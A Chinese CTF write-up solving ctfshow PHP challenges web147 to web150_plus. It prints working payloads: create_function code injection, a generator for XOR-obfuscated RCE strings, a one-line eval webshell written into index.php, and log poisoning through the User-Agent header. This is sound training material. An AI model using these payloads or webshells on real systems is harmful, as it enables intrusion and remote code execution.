ToB企服应用市场:ToB评测及商务社交产业平台

标题: ctfshow-web入门-php特性(web147-web150_plus) [打印本页]

作者: 用多少眼泪才能让你相信    时间: 2024-7-28 23:50
标题: ctfshow-web入门-php特性(web147-web150_plus)
目次

1、web147
2、web148
3、web149
4、web150
5、web150_plus


1、web147


^:匹配字符串的开头。
$:匹配字符串的末端,确保整个字符串符合规则。
[a-z0-9_]:表示允许小写字母、数字和下划线。
*:匹配零个或多个前面的字符。
/i:忽略大小写。
s:匹配包罗换行符在内的所有字符。
D(PCRE 特有):美元符号 $ 仅匹配字符串的现实末端,不匹配末端的换行符。
这里只必要让 $ctfshow 内里有其他字符即可满意 if 判定。
   在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以制止类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,必要使用绝对路径(以 \ 开头)。 自界说命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,必要使用完备的命名空间路径。
  这里可以通过 create_function 函数来实现命令执行
用法:create_function(string $args, string $code)
$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包罗函数的现实代码。
示例:
  1. $func = create_function('$a', 'echo $a."123";');
  2. $func('Hello'); // 输出 Hello123
复制代码
create_function 动态创建一个匿名函数,其中 $a 是参数,'echo $a."123";' 是函数体,该方法已在 PHP 7.2.0 中弃用。
等价于:
  1. function f($a) {
  2.   echo $a . "123";
  3. }
  4. f('Hello'); // 输出 Hello123
复制代码
create_function 存在注入风险,我们这里先闭合前面的 { ,再解释后面的 }
构造 payload:
  1. ?show=}system('ls');//
  2. ctf=\create_function
复制代码
 
解释也可以采用 /* 
  1. ?show=}system('tac flag.php');/*
  2. ctf=\create_function
复制代码

拿到 flag:ctfshow{bd66d045-7a58-4af0-9079-d8c51f64c9cc}

2、web148


没有过滤异或符号,那就直接 rce 咯。
生成可用字符的字典:
  1. <?php
  2. //或
  3. function orRce($par1, $par2){
  4.     $result = (urldecode($par1)|urldecode($par2));
  5.     return $result;
  6. }
  7. //异或
  8. function xorRce($par1, $par2){
  9.     $result = (urldecode($par1)^urldecode($par2));
  10.     return $result;
  11. }
  12. //取反
  13. function negateRce(){
  14.     fwrite(STDOUT,'[+]your function: ');
  15.     $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  16.     fwrite(STDOUT,'[+]your command: ');
  17.     $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  18.     echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  19. }
  20. //mode=1代表或,2代表异或,3代表取反
  21. //取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
  22. function generate($mode, $preg='/[0-9]/i'){
  23.     if ($mode!=3){
  24.         $myfile = fopen("rce.txt", "w");
  25.         $contents = "";
  26.         for ($i=0;$i<256;$i++){
  27.             for ($j=0;$j<256;$j++){
  28.                 if ($i<16){
  29.                     $hex_i = '0'.dechex($i);
  30.                 }else{
  31.                     $hex_i = dechex($i);
  32.                 }
  33.                 if ($j<16){
  34.                     $hex_j = '0'.dechex($j);
  35.                 }else{
  36.                     $hex_j = dechex($j);
  37.                 }
  38.                 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  39.                     echo "";
  40.                 }else{
  41.                     $par1 = "%".$hex_i;
  42.                     $par2 = '%'.$hex_j;
  43.                     $res = '';
  44.                     if ($mode==1){
  45.                         $res = orRce($par1, $par2);
  46.                     }else if ($mode==2){
  47.                         $res = xorRce($par1, $par2);
  48.                     }
  49.                     if (ord($res)>=32&ord($res)<=126){
  50.                         $contents=$contents.$res." ".$par1." ".$par2."\n";
  51.                     }
  52.                 }
  53.             }
  54.         }
  55.         fwrite($myfile,$contents);
  56.         fclose($myfile);
  57.     }else{
  58.         negateRce();
  59.     }
  60. }
  61. generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
  62. //1代表模式,后面的是过滤规则
复制代码
 生成 payload:
  1. # -*- coding: utf-8 -*-
  2. def action(arg):
  3.     s1 = ""
  4.     s2 = ""
  5.     with open("rce.txt", "r") as f:
  6.         lines = f.readlines()
  7.         for i in arg:
  8.             for line in lines:
  9.                 if line.startswith(i):
  10.                     s1 += line[2:5]
  11.                     s2 += line[6:9]
  12.                     break
  13.     output = "("" + s1 + ""^"" + s2 + "")"
  14.     return output
  15. while True:
  16.     function_input = input("\n[+] 请输入你的函数:")
  17.     command_input = input("[+] 请输入你的命令:")
  18.     param = action(function_input) + action(command_input)
  19.     print("\n[*] 构造的Payload:", param)
复制代码

构造 payload:
  1. ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");
复制代码

生成读取 flag 的 payload:

传参:
  1. ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
复制代码

拿到 flag:ctfshow{b2e0527d-c9f5-4628-9232-d6de59b4f2c2}

预期解是使用中文变量,中文也可以作为变量名,绕过正则,payload:
  1. ?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
复制代码
实在也是通过异或,"`{{{"^"?<>/"; 异或出来就是 _GET 

当然还有其他异或的情况:
 
对双引号进行一下转义即可,payload: 
  1. ?code=$额=""<>)"^"}{{}";${$额}[一](${$额}[二]);&一=system&二=tac f*
复制代码


3、web149


代码审计:
  1. $files = scandir('./');
  2. foreach($files as $file) {
  3.     if(is_file($file)){
  4.         if ($file !== "index.php") {
  5.             unlink($file);
  6.         }
  7.     }
  8. }
复制代码
scandir('./');:扫描当前目次,并返回目次中的文件和文件夹名的数组。
foreach($files as $file) { ... }:遍历数组中的每一个文件。
if(is_file($file)){ ... }:查抄是否为文件(而不是目次)。
if ($file !== "index.php") { ... }:查抄文件名是否不是 index.php。
unlink($file);:删除文件。
也就是说当前目次下只能存在 index.php,预期解是通过条件竞争实现,但我们实在可以直接将一句话木马写进 index.php。
  1. file_put_contents($_GET['ctf'], $_POST['show']);
复制代码
file_put_contents() 函数把一个字符串写入文件中,这里是将 POST 请求中的 show 数据写入以 GET 请求中 ctf 参数指定的文件中。
payload:
  1. ?ctf=index.php
  2. show=<?php eval($_POST[1])?>
复制代码

调用:

  1. 1=system('cat /ctfshow_fl0g_here.txt');
复制代码

拿到 flag:ctfshow{da4e2ab9-7b7a-4808-ad25-462d00167195}

4、web150


要求 $isVIP 为真,存在 extract($_GET) 可以实现变量覆盖,传入 ?isVIP=1;
strrpos($ctf, ":")===FALSE 要求 $ctf 不能有冒号,伪协议就用不上了;
但 include($ctf); 可以进行日志文件包罗,payload:
  1. ?isVIP=1
  2. ctf=/var/log/nginx/access.log
复制代码

可以看到是 user-agent 的内容,使用 burpsuite 抓包,在 ua 插入想要执行的代码 :
<?php system('ls');?>

读取 flag.php:
  1. <?php system('tac flag.php');?>
复制代码

拿到 flag:ctfshow{43581126-c1de-4fc7-97a5-268428a5e2c8}

5、web150_plus


新增对 $ctf 过滤 log,日志包罗行不通。
payload:
  1. ?..CTFSHOW..=phpinfo
复制代码
居然把 phpinfo 给调出来了,检索 ctfshow 即可找到 flag。 

ctfshow{8a30968a-6b41-49ff-ae79-8037d8cec776}
变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会查抄 __CTFSHOW__ 是否是一个已界说的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,以是 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,今世码试图访问一个未界说的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数。

至此,ctfshow-web入门-php特性完结。
20240727,Myon

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4